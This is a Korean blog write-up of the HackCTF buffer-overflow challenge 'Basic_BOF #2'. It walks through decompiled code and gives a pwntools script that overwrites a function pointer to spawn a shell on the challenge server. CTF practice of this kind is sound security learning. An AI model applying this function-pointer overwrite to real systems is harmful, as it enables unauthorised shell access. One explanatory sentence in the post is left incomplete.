Basic_BOF #2 풀이
2021. 6. 16. 00:05ㆍHackCTF
728x90
이 문제도 Basic_BOF #1와 같이 IDA로 먼저 보고 시작하겠습니다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-8Ch]
void (*v5)(void); // [esp+8Ch] [ebp-Ch]
v5 = (void (*)(void))sup;
fgets(&s, 133, stdin);
v5();
return 0;
}
우선 char형 배열 s를 선언하고, 포인터 변수인 v5를 선언합니다.
여기서 s의 길이는
여기서 v5는 sup이라는 함수(?)를 가리키고 있는 함수 포인터인 것 같습니다.
그리고 fgets로 133byte 길이의 s 배열을 입력받습니다.
마지막에는 v5 함수 포인터가 가리키고 있는 함수를 호출하고 main 함수는 종료됩니다.
이쯤에서 main 말고 다른 함수들을 조금 살펴보겠습니다.
- shell : shell을 띄워주는 함수
- sup : 문자열 s를 입력받는 함수
여기서 가장 관건인 변수는 아마도 v5인 것 같습니다.
v5가 sup를 가리키면 문자열을 입력받게 코딩되어있으니 shell을 가리키게 만들면 shell이 뜰 것 같습니다.
shell을 가리키게 만들려면 shell의 주소 값이 필요한데, 이는 info function 명령어를 사용하겠습니다.
이제 파이썬으로 코드를 짜보겠습니다.
from pwn import *
a=remote("ctf.j0n9hyun.xyz",3001)
b='a'*128+p32(0x0804849b)
a.sendline(b)
a.interactive()
컴파일+실행!
728x90
'HackCTF' 카테고리의 다른 글
Simple_Overflow_ver_2 풀이 (0) | 2021.07.14 |
---|---|
x64 Simple_size_BOF 풀이 (0) | 2021.07.13 |
내 버퍼가 흘러넘친다!!! 풀이 (0) | 2021.07.12 |
x64 Buffer Overflow 풀이 (0) | 2021.06.16 |
Basic_BOF #1 풀이 (0) | 2021.06.15 |